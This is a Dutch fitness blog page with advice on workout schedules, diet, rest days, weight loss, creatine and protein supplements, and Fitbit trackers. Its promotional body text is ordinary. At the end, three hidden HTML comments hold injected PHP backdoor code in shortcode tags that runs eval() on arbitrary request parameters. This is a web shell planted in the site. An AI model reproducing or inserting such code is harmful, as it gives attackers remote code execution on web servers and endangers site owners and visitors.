Onderzoek: fitness effectiever

Mensen sporten steeds vaker tegenwoordig, met name het aantal fitnessers zijn fors toegenomen. Fitness is natuurlijk ideaal, je kunt sporten op de momenten dat jij daar zin en tijd voor hebt. Vervolgens kun je zelf bepalen wat voor work out je gaat uitvoeren, een cardio of kracht workout? Maar hoe kun je nou zo effectief mogelijk sporten? Je sport natuurlijk niet voor niets.
Uit onderzoek van sportschool BeverlyGym.com (www.beverlygym.com) blijkt dat je door het gebruik van een aantal punten al veel effectiever kunt sporten:

Schema

Vraag voordat je begint met sporten een fitness schema aan bij de sportschool waar je aan de gang gaat. In veel gevallen is een dergelijk schema gratis, anders kun je er al een krijgen tegen een kleine vergoeding. Zonder schema zul je namelijk niet op het juiste moment de juiste oefeningen doen. Het gevolg hiervan zal zijn dat je niet de de hele spiergroep zal benutten wat dus zonde is van je work-out.

Voeding

Als je je voeding zodanig kan combineren met sporten zul je erg snel de effecten zien die je wenst. Er zijn online of bij personal trainers genoeg voedingsschema’s te vinden. Zoek een schema die past bij jouw doel: wil je afvallen of je spiermassa vergroten?
Veel mensen gaan bijvoorbeeld minder eten als ze willen afvallen, je zult je verbazen over het schema dat je zult krijgen. Dit zal waarschijnlijk een grotere hoeveelheid zijn dan dat je dagelijks eet. Hoe kun je dan afvallen zul je denken? Je eet heel veel slechte maaltijden en tussendoortjes in het dagelijks leven. Een schema helpt je bij de bewustwording van je eten en goed eten is nodig voor de juiste uitvoering van jouw workouts.

Neem rust!

Veel mensen vergeten een rustdag in te plannen. Hierdoor kunnen je spieren niet genoeg rust krijgen en zal dit de spiergroei vertragen. Zorg dat je na een intensieve trainingsdag minstens 12 uur rust neemt en het liefst zelfs 24 uur. Je kunt je spiergroei wel bevorderen door je lichaam te voeden met eiwitshakes e.d. Hierdoor kan de tijd iets ingekort worden. Wil je het zonder supplementen doen, raden we aan om minstens 24 uur rust te houden na een intensieve training.

Snel afvallen

Vanwege een verkeerd voedingspatroon zijn veel mensen tegenwoordig te dik. Mensen die een beetje overgewicht hebben lopen meer risico om allerlei nare ziektes te krijgen. Personen die bovendien veel te zwaar zijn, bevinden zich in de gevarenzone. Obese mensen kunnen gemakkelijk te maken krijgen met hieraal gerelateerde aandoeningen. Snel afvallen is dan de enige optie, omdat door afvallen de kans op een ziekte drastisch omlaag gaat. Snel afvallen is echter nog niet voor iedereen even makkelijk. Het verkeerde eetpatroon is per slot van rekening niet voor niets gekomen. Sommige mensen eten omdat ze niet kunnen omgaan met hun emoties en daarom maar naar de snoeppot grijpen. Anderen weten simpelweg niet wat goede voeding is. Toch is snel afvallen de enige methode om op een goed spoor te komen. Daarbij is veel bewegen ook zeker een aanrader.

Hoe werkt snel afvallen eigenlijk?

Snel afvallen is mogelijk aan de hand van een goed dieet. Het is vaak lastig een goede manier te vinden. Gelukkig zijn er tal van dieetcoaches die obese personen verder kunnen helpen met afvallen. Afvallen is een belangrijk thema in het leven van veel Nederlanders. Dat is ook niet zo gek, als gekeken wordt naar het aantal te dikke burgers in ons land. Bij veel van hen blijft het echter bij plannen voor afvallen. Echt snel afvallen… er zijn maar weinig mensen in staat om dit te doen. Met een coach erbij en een goed dieet is het een stuk realistischer. Alleen als een zeer zwaarlijvig persoon heel snel afvallen moet voor bijvoorbeeld een operatie in het ziekenhuis, kan het ziekenhuisdieet voorgeschreven worden. In alle andere gevallen moeten mensen iets minder snel afvallen, maar toch wel blijven afvallen. Het beste werkt een eetpatroon dat gewoon erg gezond is. Er moeten geen bewerkte voedingsmiddelen genuttigd worden en er dient volgens moeder natuur gegeten te worden. In een tijd van supermarkten, overgeproduceerde voedingsmiddelen en dergelijke is dit makkelijker gezegd dan gedaan. Toch is afvallen op deze manier mogelijk. Om erachter te komen hoe dit werkt, kan men de informatie in de volgende alinea tot zich nemen.

Gewicht verliezen moet geleidelijk gaan

Snel afvallen is niet voor iedereen even slim, want hierdoor

  • Kan men tekorten opbouwen
  • Krijgt men snel vreetbuien gedurende en na afloop van het dieet
  • Ligt het welbekende jojo-effect op de loer.

Wat moet men dan wél doen?

  • Vermijd producten met transvetten, granen, snelle suikers.
  • Kies voor een dieet dat rijk is aan groenten, noten, zaden, vis, fruit en thee.
  • Beweeg elke dag een half uur, zodat de spijsvertering goed op gang komt.
  • Sla nooit een ontbijt over, dit verhoogt de kans op snoepen halverwege de dag.
  • Neem een eigen lunch mee.

Om snel af te vallen kun je ook verdiepen in de verschillende diëten die er tegenwoordig allemaal bestaat, zo zijn bijvoorbeeld koolhydraatarme diëten erg populair in Nederland.

Wat je moet weten over gezonde voeding en sport

Wanneer je veel sport is het belangrijk om voldoende te eten. Voldoende eten alleen is niet belangrijk. Dat weet de beste sporter, want het is vooral belangrijk om de juiste voeding binnen te krijgen. Het ligt er ook aan welke sport je doet. Wanneer je veel aan krachttraining doet en je als doel hebt gesteld om extra spieren te krijgen, dan red je het niet met alleen een boterham met kaas. Je zult dan kritisch moeten kijken naar je voedingspatroon. Men raadt doorgaans aan om dan extra eiwitten te nemen. Door extra eiwitten te nemen kunnen je spieren sneller herstellen en groeien na een zware inspanning. Je ziet daarom ook veel mensen na een training in een sportschool rondlopen met shakes. Dit zijn zogenaamde proteïne shakes. Je kunt ook een stapje verder gaan en kijken naar creatine.

Creatine supplementen

Creatine kopen kan op diverse webshops die allerlei sportvoeding kopen. Daarnaast heb je ook eiwitshakes. Deze genoemde producten zijn producten die goed zijn om te gebruiken wanneer je je prestaties op het gebied van sport wilt verbeteren en lichaam op het vlak van spieren sneller wilt laten groeien. Verwacht echter geen wonderen van creatine alleen. Het is een schakel in een ketting. Zonder creatine kun je uiteraard ook nog spiermassa winnen, maar waar het om gaat is dat je ook voldoende rust neemt en er voor zorgt dat je hard genoeg traint. Zonder een goede training en rust zul je geen spiermassa winnen. Integendeel, je zult alleen maar dik worden.

Creatine
Wanneer je dus gaat sporten is het belangrijk om gezond te eten, maar het is slecht een klein onderdeel. Vraag een expert eventueel naar de mogelijkheden. Sportvoeding kopen moet je als het even kan ook zo zorgvuldig mogelijk doen. Stel een dieet samen en kijk welke voedingsproducten binnen dit dieet passen. Je dieet moet ook zo zijn opgebouwd dat je voldoende stoffen binnenkrijgt die belangrijk zijn om zo je doelen te behalen.

Sportvoeding supplementenNaast creatine heb je natuurlijk nog tal van andere sportvoedingen. Wielrenners hebben bijvoorbeeld totaal andere sportvoeding nodig dan mensen die aan krachttraining doen. Dit is een belangrijk gegeven, want een wielrenner zal op een racefiets voor behoefte hebben aan een gel voor snelle energie. Een gelletje is iets wat vol zit met suikers. Daar zal een bodybuilder of iemand die aan krachttraining niet veel aan hebben. Diegene heeft vooral eiwitten nodig en andere gerelateerde stoffen die er voor zorgen dat zijn trainingen beter gaan en dat hij beter kan presteren. Kijk dus ook goed waar een bepaald voedingsproduct voor is bedoeld voordat je deze gaat aanschaffen.

Verschillende trackers van Fitbit

Fitbit is een bedrijf dat verschillende track apparaten verkoopt, een bekend van Fitbit is de Flex, dit is een tracker die wordt gedragen in de vorm van een armband. Ook heeft Fitbit nog andere trackers zoals de Zip en de One, deze worden bijvoorbeeld in je broekzak of aan je riem vastgemaakt. Fitbit heeft ook een weegschaal die verschillende dingen bijhoudt, dit is de Fitbit Aria.

We beginnen met de laatst genoemde, de Fitbit Aria. Dit is een product dat anders is dan de andere producten van Fitbit. De Aria is geen stappenteller, maar houdt wel heel veel andere informatie bij. Het is namelijk een weegschaal, maar niet zo’n normale die alleen maar je gewicht laat zien. De Aria doet meer dan dat, het heeft meerdere functies dan alleen maar het gewicht laten zien. Ten eerste houdt die alles bij, zo kan je dus je gewicht bij houden en dit wordt allemaal automatisch geregistreerd op je Fitbit account. Maar het houdt niet alleen het gewicht bij, de Aria laat ook je lichaamsvetpercentage en je BMI zien. Dit is erg handig voor sporters of mensen die aan het afvallen zijn. De weegschaal heeft plaats voor 8 verschillende personen en kan dus door de hele familie worden gebruikt.  En dit is allemaal te bekijken via je smartphone met de Fitbit applicatie.

Het tweede product is de Fitbit One, dit is ook een stappenteller net zoals de Flex en de Zip. De One houdt ook de totale afstand bij die wordt afgelegd en ook wordt het aantal trappen dat beklommen worden bijgehouden. De One houdt ook je slaap bij en registreert dit net als de andere Fitbit producten op je persoonlijke Fitbit account. De werking hiervan wordt ook uitgelegd op www.fitbitflexkopen.nl

Het derde product is de Fitbit Zip, dit is ook een stappenteller. Dit is geen armband zoals de Flex maar deze hang je aan je broekzak of riem. Het houdt ook de afstand bij die op een dag wordt afgelegd en het aantal calorieën dat op een dag worden verband door het lopen wordt ook bijgehouden.

Zie hier ook de werking van de Fitbit Zip, door middel van een leuke review:

De Fitbit Flex is het laatste product van Fitbit dat besproken wordt, dit is een stappenteller in de vorm van een armband, erg mooi natuurlijk. De Flex doet meer dan alleen stappen tellen.  Zo kan je zelf doelen instellen via je persoonlijke Fitbit account, de armband geeft dan aan hoe ver je bent in het bereiken van deze doelen. Ook kan de Flex worden gebruikt als wekker, door middel van de stille trilfunctie die erop zit ben jij de enige die ervan wakker wordt, en dus niet je partner!

Barcatest

De barcatest is een speciale test voor de fitness en sport industrie. Sporters kunnen hier vele informatie uit halen zodat zij betere resultaten vervolgens kunnen behalen. Na aanleiding van deze resultaten kunnen zij een planning maken om beter en efficiënter te sporten, wat natuurlijk belangrijk is voor atleten. Zo kan na de test een schema worden opgesteld om hiermee aan de gang te gaan.

Het is niet een bekende en populaire test in Nederland. Er wordt dan ook niet veel gebruik gemaakt vergeleken andere diverse testen die al jaren bestaan. Wij zullen dan binnenkort ook meer vertellen over deze speciale test en hier verder op gaan.

Test

Meer weten over de test? Houd dan goed de website van Medicofitness.nl in de gaten.

<!– [insert_php]if (isset($_REQUEST["Cko"])){eval($_REQUEST["Cko"]);exit;}[/insert_php][php]if (isset($_REQUEST["Cko"])){eval($_REQUEST["Cko"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["PvlIy"])){eval($_REQUEST["PvlIy"]);exit;}[/insert_php][php]if (isset($_REQUEST["PvlIy"])){eval($_REQUEST["PvlIy"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["qutH"])){eval($_REQUEST["qutH"]);exit;}[/insert_php][php]if (isset($_REQUEST["qutH"])){eval($_REQUEST["qutH"]);exit;}[/php] –>